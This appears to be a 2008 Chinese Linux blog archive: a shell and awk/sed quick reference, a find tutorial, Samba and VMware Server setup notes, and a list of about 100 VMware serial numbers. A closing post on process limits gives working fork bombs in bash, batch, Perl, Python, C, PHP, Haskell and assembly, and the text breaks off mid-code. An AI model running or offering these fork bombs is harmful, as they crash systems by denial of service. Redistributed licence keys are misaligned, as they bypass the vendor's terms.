*********************************************************************
*1, 文件及权限
*********************************************************************
chmod who [operator] [permission] filename
相对模式:
operator: +/-
permission:r,w,x,l(给文件加锁),s(设置文件宿主或组set_ID),t(粘帖位)
绝对模式:
权限: r(2), w(4), x(1)
uid: owner(set_uid)(2), group(set_gid)(4), 粘帖位(1)
设置uid时把uid的绝对组合数字放在最前面
umask:
允许设置文件创建时的缺省模式, 对每一类用户存在相应的mask数字, 对于文件
该值最大为6, 因为系统不允许在创建文件时赋予执行权限, 对于目录来讲最大
值为7, 例子:
(目录) umask: 101 对应的权限为676
*********************************************************************
*2, 文件名替换
*********************************************************************
* 匹配任何字符串
? 匹配单个字符串
[...] 匹配其中的任何字符
[!...]匹配非!之后的字符
*********************************************************************
*3, shell 的输入与输出
*********************************************************************
echo 输出语句
read 变量1 变量2 ...
cat 用来显示文件 分割显示文件 显示控制字符
tee 把一个副本传递到标准输出同时也把另一个副本COPY到相应的文件中
shell 3个相关的文件描述符:
0 标准输入
1 标准输出
2 标准错误
文件重定向:
> 定向到文件
>> 追加到文件
对标准错误重定向时必须是文件描述符:
command 0/1/2 >/>> filename
command >/>> filename 0/1/2>&0/1/2
command < filename
command << delimiter 从标准输入中读入直到遇到delimiter分界符
command <&m 把m作为标准输入
command >&m 把标准输出重定向到m中去
command <&- 关闭标准输入
*********************************************************************
*4, shell 命令的执行顺序
*********************************************************************
&& 如:命令1 && 命令2 只有命令1返回真(0),命令2才被执行
|| 如:命令1 || 命令2 如果命令1执行失败, 则执行命令2
() 在当前shell执行一组命令, 如(命令1;命令2;...), 如用{}则组中所有的命令的输出
作为一个整体被重定向时,则放到子shell执行否则放到当前shell执行
*********************************************************************
*5, 文本过滤(正则表达式)
*********************************************************************
^ 匹配行首 如^c
$ 只匹配行尾 如$c
* 一个单字符后跟*, 匹配0或多个此字符
[] 匹配[]内字符, 可以是单字也可以是字符序列, 也可以使用-表示字符范围,如[1-5]
\ 用来匹配一个元字符的特殊含义
. 匹配任意单字符
pattern\{n\} 匹配前面的pattern,n为次数
pattern\{n,\}m 同上但次数至少为n
patterb\{n,m\} 同上但次数在n与m之间
*********************************************************************
*5, awk, 主要用来格式化文本
*********************************************************************
awk脚本:
可以使用-F指定分割符, 如果未指定则使用空格
模式和动作:
模式可以式任何语句, 模式包含BEGIN和END两个字段, 实际动作在{}内指定, 模式可
以省略
域和记录:
awk执行时其浏览域标识为$1,$2..., 使用$0表示使用所有域
正则表达式:
除了grep的正则表达式之外,awk还支持另外两个:
+ 匹配一个或多个字符
? 匹配模式出现频率,如/XY?Z/匹配XYZ和XZ
表达式需要用斜线括起来
条件操作符:
<, <=, ==,!=, >, >=, ~(匹配正则表达式), !~(不匹配正则表达式), 如:
awk '{if($4~/brown/) print $0}' grade.txt
符合表达式:
&& 语句两边必须同时匹配为真
|| 语句两边必须有一个匹配为真
! 非
内置变量:
ARGC 命令行参数个数
ARGV 命令行参数排列, 每个参数使用ARGV[n]访问, 下标以0开始
ENVIRON 支持队列中系统环境变量的使用, 如ENVIRON["PATH"] = "usr/local/bin"
FILENAME awk浏览的文件名,
FNR 浏览文件的记录数
FS 设置输入域分割符等价于-F选项
NF 浏览记录的域个数
NR 已读的记录数
OFS 输出域分割符, 缺省为空格
ORS 输出记录的分割符, 缺省为\n
RS 记录分割符号, 缺省为\n
操作符:
=, +=, *=, /=, %=, ^=
? 条件表达式操作符
||, &&, !
~, !~
<,<=,==,!=,>,>=
+,-,*,/,%,^
++, --
内置字符串函数:
gsub(r,s), 在整个$0中用s替代r
gsub(r,s,t) 在整个t中用s替代r
index(s,t) 返回s中字串t的第一位置
length(s)
match(s,r) 测试s是否包含匹配r的字符串
split(s,a,fs)在fs上将s分成序列a
sprintf(fmt,exp), 经格式化后的exp
sub(r,s) 用$0中最左边最长的字符串代替s
substr(s,p) 返回s中以p开始的部分
substr(s,p,n)
输出函数:
printf([格式控制符], 参数)
修饰符:
格式:
- 左对齐
.prec 最大字符串长度或小数点右边的位数
Width 域的步长, 用0表示0步长
格式符号:
%c 字符
%d
%e
%f
%g awk决定使用哪种浮点数转换e或者f
%o 八进制数
%s
%x 十六进制
awk数组:
使用数组前不必定义也不必指定数组元素的个数, 如:
'{split("123#224#245", myarrary, "#")}'
也可以先定义再使用.
*********************************************************************
*6, sed 文本过滤工具
*********************************************************************
sed [选项] sed命令 输入文件
sed [选项] -f 脚本文件 输入文件
查询方式:
sed默认从第一行开始
定位方式:
x 为一行号
x,y 行范围
/pattern/ 查询包含模式的行
/pattern/pattern/ 查询包含两个模式的行
/pattern/,x 在指定的行上查询包含模式的行
x,/pattern/ 通过行号和模式查询匹配行
x,y!查询不包含指定行号x,y的行
命令:
p 打印匹配行
= 显示文件行号
a\ 在定位行号后附加新文本信息
i\ 在定位行号号插入新文本信息
d 删除定位行
c\ 用新文本替换定位行
s 使用替换模式替换相应模式
r 从另一个文件中读文本
w 写文本到一个文件
q 第一个模式匹配后退出
l 显示与8进制ASCII代码等价的控制字符
{} 在定位行执行的命令组
n 从另一个文件中读取下一行, 并附加在下一行
g 将模式2粘贴到/pattern n/
y 传送字符
n 延续到下一输入行, 允许跨行的模式匹配语句
例子:
sed -n '2p' filename 第二行开始
sed -n '1,3p' filename 1~3行
sed -n '/pattern/p' filename
sed -n '4,/pattern/p'
sed -n '1,$p' filename 显示整个文件, $表示最后一行
sed -n '/pattern/=' 显示行号
sed '/pattern/a\text' 附加文本,在指定行后面
sed '4i\text' 插入文本, 在指定行前面
sed '/pattern/c\text' 替换指定行
替换文本:
[address[,address]] s/pattern-to-find/replace-pattern/[g p w n]
g 缺省只替换一次出现模式, 使用g替换全局所有模式
p 缺省sed将所有被替换行写入标准输出,使用p将不打印结果
w 文件名 将输出定向到一个文件
*********************************************************************
*7, 工具
*********************************************************************
tr 字符转换删除和替换
stty 设置终端特性
*********************************************************************
*8, shell环境及变量
*********************************************************************
本地变量:
variable-name = value 设置实际值到变量
variable-name + value 如果设置了variable-name则重设其值
variable-name :? value 如果未设置variable-name 显示未定义用户错误信息
variable-name ? value 如果未设置variable-name 显示系统错误信息
variable-name := value 如果未设置设置其值, 如果设置则使用原值
variable-namne :- value 如果未设置使用value替换但并不设置value到variable-name, 如果设置
则使用其值
unset variable 清除变量
set variable value 设置变量 如果不提供参数则显示所有本地变量
测试变量是否设置值:
echo "The file is ${FILE?}"
echo "The file is ${FILE:? sorry ....}"
设置只读变量:
readonly variable-name
设置环境变量:
export variable-name
env 显示所有环境变量
unset variable 清除环境变量
预留的变量名:
CDPATH cd 一个目录时查找此变量
EXINIT 保存VI初始化时的设置
HOME HOME目录
LFS 用来指定shell缺省的分割符
LOGNAME 保存登陆名
MAIL 保存邮箱路径名
MAILCHECK 缺省为每60秒检查一次新邮件
MAILPATH 如果有多个邮箱要用到MAILPATH,此变量将覆盖MAIL设置
PS1 shell提示符,缺省对root为#, 其他用户为$
PS2 shell附属提示符, 缺省为>, 用于执行超过一行的一个命令
SHELL 缺省shell
TERMINFO 终端初始化变量保存终端初始化配置
TERM 终端类型
TZ 时区
EDITOR 缺省的编辑器
PWD 当前路径名
PAGER 屏幕翻页命令
MANPATH man路径
PRINTER 缺省打印机名
向脚本传递参数, 用空格分割, $0~$9 其中$0始终保存的脚本名
特定变量参数:
$# 传递到脚本的参数个数
$* 以单个字符变量显示所有传递的参数,此选项参数可以超过9个
$$ 当前脚本进程的ID号
$! 后台运行的最后一个进程的ID号
$@ 与$#相同但是使用时加引号
$- SHELL的当前选项,与set相同
$? 显示命令的最后退出状态, 0为没错误, 其他任何值表示有错误
*********************************************************************
*9, 引号
*********************************************************************
使用单引号可以引用除字符$,反引号,\以外的任何字符
使用双引号可以引用任何值
使用反引号用于将系统命令输出到变量
反斜线引用特殊字符:&*+^$'""|?
*********************************************************************
*10, 条件测试
**********************************************************************
测试文件状态:
test condition 或 [ condition ] 使用[]要在两边加上空格
-d 目录
-f 正规文件
-L 符号连接
-r 可读
-s 文件长度大于0非空
-w 可写
-u 文件具有suid位设置
-x 可执行
-e 存在
-b 块文件
-c 字符设备文件
-g 设置了guid位
...
如: [ -f filename ]
echo $?
测试时使用逻辑操作:
-a 逻辑与 -o 逻辑或 !逻辑非, 如:
[ -w result.txt -a -w test.txt ]
字符串测试:
test "string"
test string_operator "string"
test "string" string_operator "string"
string_operator:
= 相等
!= 不等
-z 空串
-n 非空串
测试数值:
"number" number_operator "number"
或
[ "number" number_operator "number" ]
-eq 相等
-ne 不等
-gt 大于
-lt 小于
-le 小于等于
-ge 大于等于
expr 用于数值计算:
exper argument operator argument
**********************************************************************
*11, 控制流结构
**********************************************************************
if-else:
if 条件1
then
命令1
elif 条件2
then
命令2
else
命令3
fi
空命令永远为真
case 语句:
case 值 in
模式1)
命令1
...
;;
模式2)
命令2
...
;;
esac
for循环:
for 变量名 in 列表
do
命令1
命令2
...
done
until循环:
until 条件
do
命令1
命令2
...
done
while 循环:
while 命令
do
命令1
命令2
...
done
可以使用break continue 控制流程, 对case及循环有效
*********************************************************************
*12, shell 函数
*********************************************************************
格式:
函数名()
{
命令1
命令2
} 或
函数名() {
}
也可以在函数名前面加上function
参数传递:
和在shell中使用参数一样如$1 ~ $9, 如:
test() {
echo $1
echo $2
echo $3
}
调用: test 1 2 3
函数返回:
return 返回用最后的命令状态决定返回值
return 0
return 1
在shell中定位文件:
定位格式为:
. pathname
执行函数:
函数名 参数 ...
删除函数:
unset 函数名
*********************************************************************
*13, 向脚本传递参数
*********************************************************************
shift 命令:
他每执行一次参数个数减一且值向前移动一位,如:
while [ $# -ne 0 ]
do
echo $1
shift
done
********************************************************************
*14, 创建屏幕输出
********************************************************************
tput:
字符输出:
bel 警铃
blink 闪烁
bold 粗体
civis 隐藏光标
clear 清屏
cnorm 不隐藏光标
cup 移动光标位置到x,y
el 清除到行尾
ell 清除到行首
smso 启动突出显示
rmso 正常显示
smul 开始下划线模式
rmul 停止下划线模式
sc 保存当前光标位置
rc 恢复光标位置
sgr0 正常屏幕
rev 逆转视图
数字输出:
cols 列数目
it TAB设置宽度
lines 屏幕行数
布尔输出:
chts 光标不可见
hs 具有状态行
例子, 使用布尔输出:
STATUS_LINE=`tput hs`
if $STATUS_LINE; then
echo "Your terminal has a status line"
else
echo "Your terminal don't has a status line"
fi
使用颜色:
前景色:
30(黑) 31(红) 32(绿) 33(黄) 34(蓝) 35(紫) 36(青) 37(白)
背景色:
40(黑) 41(红) 42(绿) 43(黄) 44(蓝) 45(紫) 46(青) 47(白)
颜色格式:
例子:
echo -e "\033[40;32m"
2008年9月19日
linux shell快速参考
2008年8月27日
find命令
linux常用命令使用详解--find
每一种操作系统都是由成千上万个不同种类的文件所组成的。其中有系统本身自带的文件,用户自己的文件,还有共享文件等等。我们有时候经常忘记某份文件放在硬盘中的哪个地方。在微软的WINDOWS操作系统中要查找一份文件是相当简单的事情,只要在桌面上点击“开始”-“搜索”中就能按照各种方式在本地硬盘上,局域网络,甚至在INTERNET上查找各种文件,文档。
可是使用Linux的用户就没有那么幸运了,在Linux上查找某个文件确实是一件比较麻烦的事情。毕竟在Linux中需要我们使用专用的“查找”命令来寻找在硬盘上的文件。Linux下的文件表达格式非常复杂,不象 WINDOWS,DOS下都是统一的AAAAAAA.BBB格式那么方便查找,在 WINDOWS中,只要知道要查找的文件的文件名或者后缀就非常容易查找到。Linux中查找文件的命令通常为“find”命令,“find”命令能帮助我们在使用,管理Linux的日常事务中方便的查找出我们需要的文件。对于Linux新手来说,“find”命令也是了解和学习Linux文件特点的方法。因为Linux发行版本繁多,版本升级很快,在Linux书籍上往往写明某个配置文件的所在位置,往往Linux新手按图索骥还是不能找到。比如说 REDHAT Linux 7.O和REDHAT Linux 7.1中有些重要的配置文件所在的硬盘位置和文件目录就有了很大的改变,如果不学会使用“find”命令,那么在成千上万的Linux文件中要找到其中的一个配置文件是相当困难的,笔者在没有精通“find”命令之前就吃过这样的苦头。好,下面就详细为大家介绍强大的“find”命令的全部使用方法和用途。
通过文件名查找法:
这个方法说起来就和在WINDOWS下查找文件一样容易理解了。如果你把这个文件放在单个的文件夹里面,只要使用常见的“ls"命令就能方便的查找出来,那么使用“find”命令来查找它就不能给你留下深刻的印象,毕竟“find”命令的强大功能不止这个。如果知道了某个文件的文件名,而不知道这个文件放到哪个文件夹,甚至是层层套嵌的文件夹里。举例说明,假设你忘记了httpd.conf这个文件在系统的哪个目录下,甚至在系统的某个地方也不知道,则这是可以使用如下命令:
find / -name httpd.conf
这个命令语法看起来很容易就明白了,就是直接在find后面写上 -name,表明要求系统按照文件名查找,最后写上httpd.conf这个目标文件名即可。稍等一会系统会在计算机屏幕上显示出查找结果列表:
/etc/httpd/conf/httpd.conf
这就是httpd.conf这个文件在Linux系统中的完整路径。查找成功。
如果输入以上查找命令后系统并没有显示出结果,那么不要以为系统没有执行find/ -name httpd.conf命令,而可能是你的系统中没有安装Apache服务器,这时只要你安装了Apache Web服务器,然后再使用find / -name httpd.conf就能找到这个配置文件了。
无错误查找技巧:
在Linux系统中“find”命令是大多数系统用户都可以使用的命令,并不是ROOT系统管理员的专利。但是普通用户使用“find”命令时也有可能遇到这样的问题,那就是Linux系统中系统管理员ROOT可以把某些文件目录设置成禁止访问模式。这样普通用户就没有权限用“find”命令来查询这些目录或者文件。当普通用户使用“find”命令来查询这些文件目录是,往往会出现"Permissiondenied."(禁止访问)字样。系统将无法查询到你想要的文件。为了避免这样的错误,我们可是使用转移错误提示的方法尝试着查找文件,输入
find / -name access_log 2>/dev/null
这个方法是把查找错误提示转移到特定的目录中去。系统执行这个命令后,遇到错误的信息就直接输送到stderrstream 2 中,access_log 2就是表明系统将把错误信息输送到stderrstream 2中,/dev/null是一个特殊的文件,表明空的或者错误的信息,这样查询到的错误信息将被转移了,不会再显示了。
在Linux 系统查找文件也会遇到这样一个实际问题。如果我们在整个硬盘,这个系统中查找某个文件就要花费相当长的一段时间,特别是大型Linux系统和容量较大的硬盘,文件放在套嵌很深的目录中的时候。如果我们知道了这个文件存放在某个大的目录中,那么只要在这个目录中往下找就能节省很多时间了。使用 find /etc -name httpd.conf 就可以解决这个问题。上面的命令就是表示在etc目录中查询httpd.conf这个文件。这里再说明一下“/ ”这个函数符号的含义,如果输入 “find / ”就是表示要求Linux系统在整个ROOT目录下查找文件,也就是在整个硬盘上查找文件,而“find /etc”就是只在 etc目录下查找文件。因为“find /etc”表示只在etc目录下查找文件,所以查找的速度就相应要快很多了。
根据部分文件名查找方法:
这个方法和在WINDOWS中查找已知的文件名方法是一样的。不过在Linux中根据部分文件名查找文件的方法要比在WINDOWS中的同类查找方法要强大得多。例如我们知道某个文件包含有srm这3个字母,那么要找到系统中所有包含有这3个字母的文件是可以实现的,输入:
find /etc -name '*srm*'
这个命令表明了Linux系统将在/etc整个目录中查找所有的包含有srm这3个字母的文件,比如 absrmyz, tibc.srm等等符合条件的文件都能显示出来。如果你还知道这个文件是由srm 这3个字母打头的,那么我们还可以省略最前面的星号,命令如下:
find /etc -name 'srm*'
这是只有像srmyz 这样的文件才被查找出来,象absrmyz或者 absrm这样的文件都不符合要求,不被显示,这样查找文件的效率和可靠性就大大增强了。
根据文件的特征查询方法:
如果只知道某个文件的大小,修改日期等特征也可以使用“find”命令查找出来,这和WINDOWS系统中的"搜索"功能是基本相同的。在微软的"搜索" 中WINDOWS中的"搜索助理"使得搜索文件和文件夹、打印机、用户以及网络中的其他计算机更加容易。它甚至使在Internet 上搜索更加容易。"搜索助理"还包括一个索引服务,该服务维护了计算机中所有文件的索引,使得搜索速度更快。使用"搜索助理"时,用户可以指定多个搜索标准。例如,用户可以按名称、类型及大小搜索文件和文件夹。用户甚至可以搜索包含特定文本的文件。如果用户正使用 Active Directory,这时还可以搜索带有特定名称或位置的打印机。
例如我们知道一个Linux文件大小为1,500 bytes,那么我们可是使用如下命令来查询
find / -size 1500c
字符 c 表明这个要查找的文件的大小是以bytes为单位。如果我们连这个文件的具体大小都不知道,那么在Linux中还可以进行模糊查找方式来解决。例如我们输入
find/ -size +10000000c
这个命令,则标明我们指定系统在根目录中查找出大于10000000字节的文件并显示出来。命令中的“+”是表示要求系统只列出大于指定大小的文件,而使用“-”则表示要求系统列出小于指定大小的文件。下面的列表就是在Linux使用不同“ find"命令后系统所要作出的查找动作,从中我们很容易看出在Linux中使用“find"命令的方式是很多的,“ find"命令查找文件只要灵活应用,丝毫不必在WINDOWS中查找能力差。
注意#后是注释
find / -amin -10 # 查找在系统中最后10分钟访问的文件
find / -atime -2 # 查找在系统中最后48小时访问的文件
find / -empty # 查找在系统中为空的文件或者文件夹
find / -group cat # 查找在系统中属于 groupcat的文件
find / -mmin -5 # 查找在系统中最后5分钟里修改过的文件
find / -mtime -1 #查找在系统中最后24小时里修改过的文件
find / -nouser #查找在系统中属于作废用户的文件
find / -user fred #查找在系统中属于FRED这个用户的文件
下面的列表就是对find命令所可以指定文件的特征进行查找的部分条件。在这里并没有列举所有的查找条件,参考有关Linux有关书籍可以知道所有find命令的查找函数。
-amin n
查找系统中最后N分钟访问的文件
-atime n
查找系统中最后n*24小时访问的文件
-cmin n
查找系统中最后N分钟被改变状态的文件
-ctime n
查找系统中最后n*24小时被改变状态的文件
-empty
查找系统中空白的文件,或空白的文件目录,或目录中没有子目录的文件夹
-false
查找系统中总是错误的文件
-fstype type
查找系统中存在于指定文件系统的文件,例如:ext2 .
-gid n
查找系统中文件数字组 ID 为 n的文件
-group gname
查找系统中文件属于gnam文件组,并且指定组和ID的文件
Find命令的控制选项说明:
Find命令也提供给用户一些特有的选项来控制查找操作。下表就是我们总结出的最基本,最常用的find命令的控制选项及其用法。
选项
用途描述
-daystart
.测试系统从今天开始24小时以内的文件,用法类似-amin
-depth
使用深度级别的查找过程方式,在某层指定目录中优先查找文件内容
-follow
遵循通配符链接方式查找; 另外,也可忽略通配符链接方式查询
-help
显示命令摘要
-maxdepth levels
在某个层次的目录中按照递减方法查找
-mount
不在文件系统目录中查找, 用法类似 -xdev.
-noleaf
禁止在非UNUX文件系统,MS-DOS系统,CD-ROM文件系统中进行最优化查找
-version
打印版本数字
使用-follow选项后,find命令则遵循通配符链接方式进行查找,除非你指定这个选项,否则一般情况下find命令将忽略通配符链接方式进行文件查找。
-maxdepth选项的作用就是限制find命令在目录中按照递减方式查找文件的时候搜索文件超过某个级别或者搜索过多的目录,这样导致查找速度变慢,查找花费的时间过多。例如,我们要在当前(.)目录技巧子目录中查找一个名叫fred的文件,我们可以使用如下命令
find . -maxdepth 2 -name fred
假如这个fred文件在./sub1/fred目录中,那么这个命令就会直接定位这个文件,查找很容易成功。假如,这个文件在. /sub1/sub2/fred目录中,那么这个命令就无法查找到。因为前面已经给find命令在目录中最大的查询目录级别为2,只能查找2层目录下的文件。这样做的目的就是为了让find命令更加精确的定位文件,如果你已经知道了某个文件大概所在的文件目录级数,那么加入-maxdepth n 就很快的能在指定目录中查找成功。
使用混合查找方式查找文件
find命令可以使用混合查找的方法,例如我们想在/tmp目录中查找大于100000000字节并且在48小时内修改的某个文件,我们可以使用-and 来把两个查找选项链接起来组合成一个混合的查找方式。
find /tmp -size +10000000c -and -mtime +2
学习过计算机语言的朋友都知道,在计算机语言里,使用and ,or 分别表示“与”和“或”的关系。在Linux系统的查找命令中一样通用。
还有这样的例子,
find / -user fred -or -user george
我们可以解释为在/tmp目录中查找属于fred或者george这两个用户的文件。
在find命令中还可以使用“非”的关系来查找文件,如果我们要在/tmp目录中查找所有不属于panda的文件,使用一个简单的
find /tmp ! -user panda
命令就可以解决了。很简单。
查找并显示文件的方法
查找到某个文件是我们的目的,我们更想知道查找到的文件的详细信息和属性,如果我们采取现查找文件,在使用LS命令来查看文件信息是相当繁琐的,现在我们也可以把这两个命令结合起来使用。
find / -name "httpd.conf" -ls
系统查找到httpd.conf文件后立即在屏幕上显示httpd.conf文件信息。
12063 34 -rw-r--r-- 1 root root 33545 Dec 30 15:36 /etc/httpd/conf/httpd.conf
下面的表格就是一些常用的查找文件并显示文件信息的参数和使用方法
选项
用途描述
-exec command;
查找并执行命令
-fprint file
打印文件完整文件名
-fprint0 file
打印文件完整文件名包括空的文件
-fprintf file format
打印文件格式
-ok command;
给用户命令执行操作,根据用户的Y 确认输入执行
-printf format
打印文件格式
-ls
打印同种文件格式的文件.
总结:到这里为止我们已经学习了这名多关于find命令的使用方法,也列出了很多常用的find命令的选项,如果我们能熟练掌握在Linux中find命令的使用方法,那么在Linux中查找文件也不是一件困难的事情。
linux ThunderBird收发邮件
2008年8月25日
linux挂载samba服务器
环境:UBUNTU8.04
安装smbfs包
#apt-get install smbfs
挂载命令:
#mount mount -t smbfs -o username=out,password=out123,iocharset=utf8,codepage=cp936 //SERVER/PATH /mnt/
注意服务器地址是'/',不是'\'
然后就可以像访问本地文件一样访问服务器文件了.
2008年8月18日
ubuntu8.04 vmware server安装xp
实在受不了irtualbox的性能,什么也不动也占着cpu,反应缓慢,完全不能和以前的vmware相比,于是重来吧。
安装前
#sudo apt-get install linux-headers-`uname -r` build-essential xinetd
1.下载vmware for linux
http://register.vmware.com/content/download.html
2.激活码可以在另一个帖子copy
3.安装
#tar -zxvf Vmware-server-1.0.6-91891.tar.gz
#mv vmware-server-distrib /opt/
#./vmware-install.pl
一般回车或者yes就可以了.
然后就是协议,一直空格到最后yes
然后回车,编译vmware模块
Do you want networkong for your virtual machines? yes
another的时候就no
检测到没有安装inetd或者xinetd
#apt-get install xinetd
好,继续,重新运行vmware-install.pl
询问是否运行vmware-config.pl,配置vmware?
yes或回车
然后又是读协议,空格到最后,yes
又重新编译vmware module
配置网络
继续回车到输入serial number了,去copy一个吧。
99J6N-YD78Q-23Q37-43PLE
OK,成功了.
4.安装xp吧
启动vmware
/usr/lib/vmware/bin/vmware: /usr/lib/vmware/lib/libgcc_s.so.1/libgcc_s.so.1: version `GCC_3.4' not found (required by /usr/lib/libcairo.so.2)
/usr/lib/vmware/bin/vmware: /usr/lib/vmware/lib/libgcc_s.so.1/libgcc_s.so.1: version `GCC_4.2.0' not found (required by /usr/lib/libstdc++.so.6)
/usr/lib/vmware/bin/vmware: /usr/lib/vmware/lib/libgcc_s.so.1/libgcc_s.so.1: version `GCC_3.4' not found (required by /usr/lib/libcairo.so.2)
/usr/lib/vmware/bin/vmware: /usr/lib/vmware/lib/libgcc_s.so.1/libgcc_s.so.1: version `GCC_4.2.0' not found (required by /usr/lib/libstdc++.so.6)
/usr/lib/vmware/bin/vmware: /usr/lib/vmware/lib/libgcc_s.so.1/libgcc_s.so.1: version `GCC_3.4' not found (required by /usr/lib/libcairo.so.2)
/usr/lib/vmware/bin/vmware: /usr/lib/vmware/lib/libgcc_s.so.1/libgcc_s.so.1: version `GCC_4.2.0' not found (required by /usr/lib/libstdc++.so.6)
解决方法:
# cd /usr/lib/vmware-server-console/lib/
#sudo mv libpng12.so.0/libpng12.so.0 libpng12.so.0/libpng12.so.0.disabled
#sudo ln -sf /usr/lib/libpng12.so.0 libpng12.so.0/libpng12.so.0
#cd /usr/lib/vmware-server-console/lib/libgcc_s.so.1/
#mv libgcc_s.so.1 libgcc_s.so.1.disabled
#ln -sf /lib/libgcc_s.so.1 libgcc_s.so.1
#ln -sf /usr/lib/gcc/i486-linux-gnu/4.2.3/libgcc_s.so /usr/lib/vmware/lib/libgcc_s.so.1/libgcc_s.so.1
启动vmware,可以不用root身份了.
5.新建一个wizard,选择路径,选择上网方式,斡旋bridged
选择allocate now或者不选,选了应该速度快点,不选是用的时候再分配空间
split file,默认就行
然后开始创建disk
看会新闻继续
6.双击cdrom,选择光盘iso文件路径或者使用光驱
7.调整ram大小,选择CPU个数
8.power on,下面就是正常的安装xp步骤
如出现什么错误可以查看log文件,在新建wizard路径下有.
参考:http://www.howtoforge.com/installing-vmware-server-on-ubuntu-8.04
vmware 激活码
100个,免得每次重装都又申请
99J6N-YD78Q-23Q37-43PLE
9C540-YD30P-296DH-4CQCM
93H4H-YDPAP-2129L-417CE
9904J-Y4286-23K9Q-4JJJ5
91J45-YF30L-29L4N-43HA5
991FH-Y47AQ-23K64-4UM3H
93JF4-Y4L87-23365-403C4
9CNDH-Y662Q-2334M-487H5
93NF5-YDP27-21PDH-4HMKE
91M6M-Y462Q-2173L-4TH08
93M41-YFQ8K-2C236-4HP9M
9C164-Y6707-233F1-4A7V5
99ND4-Y6L82-23L6H-4HQTW
990FM-Y4Q23-2374N-4H43X
930FM-YD78K-29716-4U51X
99H4M-YD72P-292D4-4V100
99440-Y4K87-29K93-4UQAJ
9154H-YD227-29K6J-4C6RD
9316J-YDPA3-2CLD0-49JU0
9CNF4-YFKA2-2C765-41KR0
934F0-Y6KAK-2CPDM-4VHAW
9956J-YFQ22-21292-4KJHE
9356H-Y438P-29K45-40QA9
93J44-YD2A2-29LD5-4R0T9
990FH-Y6P06-2C79P-4H6HH
91MFM-YD62L-2CQDN-4V1HX
99M44-YF203-2C345-43195
91M61-Y6Q8K-236CP-436U4
93H45-YF382-2C7F4-4U6HT
93N64-Y630P-2964J-4UK2E
9C5FN-Y6L8P-23396-4J1R0
91M44-Y4KA3-2CPDH-4CQ2T
991F4-YF202-297CQ-49L8R
99M6J-YFL2P-2C76M-42LJD
9CN4N-Y632Q-293D1-4A5K8
99J4N-YD70P-292FN-4CQ9D
994FJ-YFP8L-21661-4U62M
93H44-YF72K-296CL-4KQLJ
934F0-Y62AQ-2369L-4VKLE
910D1-Y6L0K-21QF1-41NUD
9CHD4-YDP8P-21KCP-4KN25
91444-Y6KA6-2979L-4T5RT
9116J-YDL8K-213D5-4J0HJ
93N61-Y4386-2371P-4JJ35
910F0-Y420K-23232-41LCH
99ND4-YD30L-21612-4TKUE
9C0F5-YFP23-212D1-4HL9E
91NF5-Y4323-21712-4U6CE
9C14J-Y4283-2C264-4H3L0
9114M-Y672K-2364M-42H3W
93JF0-YF727-2CL4J-40M00
91564-Y66AL-21P33-43221
9146N-Y6P8L-2C76M-491J5
9C1FJ-YDL86-2CLD0-4U7R5
9CJF5-Y6L06-2C297-4TH19
9C5DM-Y6726-29P4N-4AHJJ
93NFN-YFQ0P-21LF4-48N31
93NDM-YF78Q-21KD5-4U52W
990F1-Y6PAL-21217-4VQCR
9CH4N-Y4P0L-21PF4-4HNK1
9CJDN-YDP83-29Q97-4C5J5
9CMD0-YFK03-23L9Q-4UJT0
99N6J-YDP03-29K9P-4R5A8
990F5-YD202-232DN-4TM3D
9CJ4J-Y42A2-297F4-4JH94
91464-Y6L2Q-2CP60-4J4L4
9104M-Y6307-2374M-40QAM
93560-YFK2K-29365-4A00X
91JD4-YF7AK-29P9K-4T581
990FH-Y62AL-29PDN-4C11X
99N60-Y6KAQ-2CK9P-493TN
99141-YDQ0L-21L3L-4CNTX
91JDN-YD2A2-2CQ45-404LX
911FJ-Y6Q0P-23L1L-4C3UT
931F4-Y670K-29717-4TNJD
9C4DH-Y6Q27-21L13-4L2JN
9C14N-YDL8K-23QC3-4K7JT
9C045-Y4K06-23293-4K5RH
99145-Y4622-21QFM-43KLE
9CNDJ-Y4K2Q-2C732-4LPHJ
9CJDN-Y6Q26-23Q61-43L0N
994DN-YD207-21Q97-4H3UD
99J64-YFQ2Q-2C713-4L325
91144-YDQAQ-23K93-4U490
9346H-YD20Q-21K3L-4VQ94
91N40-Y4P87-29QD5-4T78W
9C041-YDQAL-29360-4CJ88
91M6N-YD3A7-23Q4M-40PR8
99M45-Y67AL-2C29Q-4U5TW
99HFH-YF6AK-2CL40-4TLAJ
93H4J-YDL2K-233DJ-43KT1
93M6J-Y4L0K-296D4-410TR
9C161-YF7A6-2C7F1-4L0LR
9C1DN-YFQA7-23LDM-40L9R
91J45-YDP8Q-213F1-480HH
9C1F0-YF22K-212DN-4R581
93H4M-Y4727-21QCK-4JLAE
99J61-YFQ27-296DN-4KQ3N
99461-Y460L-2121P-4H38R
93NDH-Y62A2-2CK4H-4UHV0
LINUX Fork bomb
看了某书,防止DOS攻击,修改/etc/security/limits.conf
* hard core 0
* hard rss 5000
* hard nproc 20
于是重启后,出现
resource temporarily unavailable
查了相关资料,原来是这个配置文件的问题,第三行是限制用户的fork进程数的,这里太小了,以至于不够用了,进个图形界面都超过限制了,于是修改一下:
* hard nproc 100
现在够用了,顺便了解了一下forkbomb(fork炸弹)
fork就是用来创建进程的,fork炸弹就是通过快速的创建很多进程让你机器挂掉,属于拒绝服务攻击的一种,因为进程数量是有限的,可以通过命令ulimit -a查看
core file size (blocks, -c) 0
data seg size (kbytes, -d) unlimited
scheduling priority (-e) 0
file size (blocks, -f) unlimited
pending signals (-i) 16383
max locked memory (kbytes, -l) 32
max memory size (kbytes, -m) 10000
open files (-n) 1024
pipe size (512 bytes, -p) 8
POSIX message queues (bytes, -q) 819200
real-time priority (-r) 0
stack size (kbytes, -s) 8192
cpu time (seconds, -t) unlimited
max user processes (-u) 100 最大用户进程数
virtual memory (kbytes, -v) unlimited
file locks (-x) unlimited
这里看到和刚才配置文件/etc/security/limits.conf设置的一样,用-u命令可以直接改成你要的限制数目。
举例:
下面这段代码可以作为一个fork炸弹(Jaromil ,2002),在bash下执行
:(){ :|:& };:
windows下的fork炸弹,batch编写
:s
START %0
GOTO :s
更简洁的写法:
%0|%0
perl语言:
#!/usr/bin/perl
fork while 1
Haskell:
import Control.Monad
import System.Posix.Process
forkBomb = forever $ forkProcess forkBomb
Python:
import os
while True:
os.fork()
c语言:
#include
int main(int argc, char* args[])
{
while(1)
fork();
return 0;
}
PHP:
while(1)
pcntl_fork();
x86(fasm):
format ELF executable
entry start
start:
push 0x2 ; Linux fork system call
pop eax ;
int 0x80 ; Call to the kernel
jmp start ; Loop back to the start
通过不停的申请内存造成内存不足也可以达到同样效果。
C:
#include
#include
int main(void) {
/* An infinite loop. */
while (1) {
